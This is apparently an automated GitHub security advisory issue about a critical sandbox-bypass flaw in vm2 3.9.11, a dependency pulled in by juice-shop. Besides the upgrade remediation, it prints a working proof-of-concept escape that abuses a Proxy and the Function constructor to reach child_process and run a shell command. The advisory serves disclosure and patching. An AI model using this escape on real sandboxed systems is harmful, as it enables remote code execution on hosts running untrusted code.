Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Critical severity - Sandbox Bypass vulnerability in vm2 (package.json) #153

Open
github-actions bot opened this issue Jun 9, 2023 · 0 comments
Open

Comments

@github-actions
Copy link

github-actions bot commented Jun 9, 2023

  • Package Manager: npm
  • Vulnerable module: vm2
  • Introduced through: juice-shop@12.3.0, juicy-chat-bot@0.6.6 and others

Detailed paths

  • Introduced through: juice-shop@12.3.0 › juicy-chat-bot@0.6.6 › vm2@3.9.11

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass by abusing an unexpected creation of a host object based on the maliciously crafted specification of Proxy.
Exploiting this vulnerability allows an attacker to gain remote code execution rights on the host running the sandbox via the Function constructor.

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Remediation

Upgrade vm2 to version 3.9.18 or higher.

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

0 participants